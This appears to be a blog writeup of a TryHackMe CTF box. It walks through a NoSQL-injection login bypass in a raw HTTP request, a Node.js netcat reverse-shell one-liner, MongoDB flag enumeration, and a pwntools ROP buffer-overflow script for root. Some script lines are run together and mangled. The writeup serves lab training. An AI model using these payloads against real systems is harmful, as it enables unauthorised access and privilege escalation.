Simon McCabe

WAPT. OSCP. OSWP. PGCert. BSc. Linux+. Security+.

cloud cloud
Home HackTheBox TryHackMe Vulnhub General Security Quick Links About Me

...Dave's Blog...

davesblog

*** Writeup by ShellByte Protocol ***

Who are ShellByte Protocol?

ShellByte Protocol is a new team of hackers working together on CTF's. In order to celebrate the team coming together, we decided to take on a *very* hard box on TryHackMe. This is our first but certainly not last writeup as a team. Enjoy...

Enumeration

First up, we ran nmap to look for what ports were open.

davesblog

Next, we used nikto + basic browser enumeration in order to find anything that may be useful for the exploitation stage:

davesblog

The admin url was interesting. There was a registration option but this was disabled.

It was the only vector we'd seen thus far. I had the idea to see whether we could bypass it.

Exploitation Begins

If you send a POST request to the url /admin/register with a username&password parameters, this results in a redirect which confirms the user was registered "/admin#Registered%20successfully". But when I tried to log in, I couldn't login as the user that I had just successfully registered.

davesblog

It looked like this was the right thing to do, but there must be some kind of twist. The team all began working on it, trying to figure out how it was set up in the backend. Next, we discovered somewhat of a hint in the source code:

davesblog

The script (as seen above) was using JSON to "stringify" the username + password and sending a POST with a content type of application/json

This looked like just the ticket.

Getting User

We used the source-code hint to construct a POST request:


        POST /admin HTTP/1.1
        Host: 10.10.50.53:3000
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/json;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: http://10.10.50.53:3000/admin
        Content-Type: application/json
        Content-Length: 41
        Connection: close
        Cookie: jwt=redacted
        Upgrade-Insecure-Requests: 1

        {"username":"dave","password":{"$ne":""}}
        
        

In response we got a redirect back to the login page. However, in the response was a cookie set with a jwt value.


            HTTP/1.1 302 Found
            X-Powered-By: Express
            Set-Cookie: jwt=redacted; Path=/
            Location: /admin
            Vary: Accept
            Content-Type: text/html; charset=utf-8
            Content-Length: 56
            Date: Fri, 26 Jun 2020 21:39:35 GMT
            Connection: close

            Found. Redirecting to /admin
        

Next, we decoded the jwt:


            {
              "isAdmin": true,
              "_id": "{snipped}",
              "username": "dave",
              "password": "THM{snipped}",
              "__v": 0,
              "iat": 1593207575
            }
        

With this token we can get an authenticated session in the browser.

In the authenticated session we get some kind of "shell" which looked very much like a standard CTF-style OS command injection. But we could not execute normal OS commands.

require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f', ()=>{})
        

Finally. We were user. And we could retrieve the 2nd flag in /home/dave/user.txt

Digging for Flags

Next began the hunt for flag 3. The room hint was "mongo deeper" which tells us that it has something to do with mongo database. We went ahead to look inside the Database.

First start the mongo shell by typing "mongo" into the terminal.

        
            mongo
            MongoDB shell version v3.6.3
            connecting to: mongodb://127.0.0.1:27017
            MongoDB server version: 3.6.3

            Next list all available dbs.

            show dbs
            admin       0.000GB
            config      0.000GB
            daves-blog  0.000GB
            local       0.000GB

            The admin db just contains some version infromation so I select the daves-blog

            use daves-blog
            switched to db daves-blog

            List the tables in the database.

            show tables
            posts
            users
            whatcouldthisbes

            Get the content of the table whatcouldthisbes.

            db.whatcouldthisbes.find()
            { "_id" : ObjectId("5ec6e5cf1dc4d364bf864108"), "whatCouldThisBe" : "THM{snipped}", "__v" : 0 }     
        
        

and with that, we now had flag 3.

Flag 4

Next was trying to escalate privileges. But this would turn out to be by far the hardest part of the room.

        
    sudo -l
    
    Matching Defaults entries for dave on daves-blog:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
    User dave may run the following commands on daves-blog:
        (root) NOPASSWD: /uid_checker

davesblog

Privilege Escalation

First, we ran the strings command:

davesblog

The "secret" string stood out, we broke out gdb to look at it:

davesblog

With ROP what we want to do is use existing code in the system to build our exploit. If we want a system call for example then we must find one within the code and reuse it. Disassembling the secret funtion that we were given a clue to reveals one of the building blocks we need, so that's a good start, 0x00000000004006be will be handy later

The following is derived from an article we read during the CTF.

Because stack frames and stack variables grow in opposite directions, we can overflow a local buffer and overwrite the return address on the stack. This is means that when the function is finished, instead of returning the function that called it, we can get to return anywhere we want. This is effectively the same thing as calling arbitrary functions, and allows us to completely bypass a non-executable stack.

This is the basis of Return Oriented Programming (ROP). Instead of executing code on the stack, we push a chain of addresses to the stack. Each of these addresses points to a gadget, which is a simple unit of computation that we can use as building blocks to write nearly any program we want.

For example, if we want to call system() with some arbitrary argument, all we have to do is find a reference to system() in the binary (either a call or in the global offset table) and some gadget that allows us to either push a value to the stack (for x86 binaries) or move a value to the RDI register (for x64 binaries). We then chain these two gadgets together by pushing their addresses to the stack.

First, we call the gadget that sets up the arguments to system(), then that gadget’s ret instruction pops the address of system() and jumps to it. This is effectively exactly the same thing as calling system() directly, if a little more involved. There are of course some caveats to this idea: We can only run code that already exists in the program. This includes any libraries loaded by the binary, which leads to a whole ‘nother class of ROP (see: ret2libc) We can only fit so many ROP gadgets into a given buffer overflow. Fortunately, we have 92 bytes to play with in this challenge, which is plenty. If we needed more space we would have to get more creative.

When we did strings earlier we also found /bin/sh within the binary, so we know that this is also available for us to use. Basically our strategy will be to find the pointer to /bin/sh, find a gadget that pops this off the stack into the rdi register, then call the system function executes it. At the end of that chain we should have a shell We can look for that string again using radare2's izz function:

davesblog davesblog

This tool gives us the relative address to the string, in this case 0x00400840 - this did not work for us though, perhaps a better way is to use gdb's searchmem function to find where it is hiding out in the data section?

davesblog

So the address we want is 0x600840 (spolier alert, it's not!, it was the cat issue) Now we need a 'gadget' to pop this address off the stack before we call our system function, we can use ROPgadget to find something that will work.

davesblog

So there is a gadget 0x0000000000400803 : pop rdi ; ret that should work for us We put this all together in a script using this walkthrough as a guide


    
    kali@kali:~/Documents/TryHackMe/DavesBlog$ cat pwnsploit.py  #!/usr/bin/python2  
 
from pwn import * 
 
# setup the binary elf = context.binary = ELF('./uid_checker') 
 
# activate logging context.log_level = 'debug' 

 # setup the 'found' addresses for our rop chain # the string to execute bin_sh = 0x600840 # the system call 
system = 0x004006be # the instruction (gadget) to pop the string from the stack into rdi pop_rdi = 0x00400803
info("target string: %#x", bin_sh) info("addr of system(): %#x", system) # now let's find the offset automatically (we know it's 88 from doing it manually before but this finds it itself)
# start a process io = process(elf.path) # send a cyclic io.sendline(cyclic(128)) # wait for the crash io.wait() # read the corefile core = io.corefile # read the stack point at the time of the crash stack = core.rsp info("stack: %#x", stack) # read 4 bytes from the stack pointer # this is our De Bruijn offset pattern = core.read(stack, 4) offset =
cyclic_find(pattern) info("pattern: %r", pattern) # build the rop chain # first we will return onto our pop gadget which will pop the next element on the stack, the
address of our '/bin/sh' string # then the return of that gadget pops the next address, which is our system call,
and executes it: rop_chain = p64(pop_rdi, endian="little") rop_chain += p64(bin_sh, endian="little") rop_chain += p64(system, endian="little") # we add some padding to place this at just the right spot padding = cyclic(offset) # the payload then is padding + our rop chain payload = padding + rop_chain info("ROP Payload: %s", payload) # open a new process to pwn io = process(elf.path) # send the payload io.sendline(payload) io.wait_for_close() io.recv()

So let's run it and see what happens...


    ----snipped----
KeyboardInterrupt [*] Stopped process '/home/kali/Documents/TryHackMe/DavesBlog/uid_checker' (pid 12981)

We had to ^C out of it and didn't get the shell we wanted, so what went wrong? Let's add a print to check that the string /bin/sh is really at that memory address

davesblog

Ok, there's the problem, we're not pointing to /bin/sh at all, we're pointing to a sequence of blank memory space... What if we go back to our previous attempt, using 0x00400840 as the memory location for /bin/sh?

davesblog

Well well, we have the string here, and it's null-terminated as we want it to be... this looks good after all. However we don't get a shell... Ahh, but wait, while watching this youtube video by LiveOverflow he pipes his input into the binary, but also chains another cat to keep a communication channel open, i.e. (cat rop.string; cat) | binary. Let's try doing that in case our shell is opening but we are just not able to reach it. I modify the script a little to output the exploit into roppayload

davesblog davesblog

Okay! it's weird but it does work, we get a shell. Let's try it on target now, we send our payload to /tmp

davesblog

Excellent, we find the root flag, #5: THM{snipped}. Nice work team! Dave's Blog was a tough nut to crack.

Go to top

linkedin twitter youtube
Valid XHTML 1.0!

© 2020 Simon McCabe - 7s26simon.github.io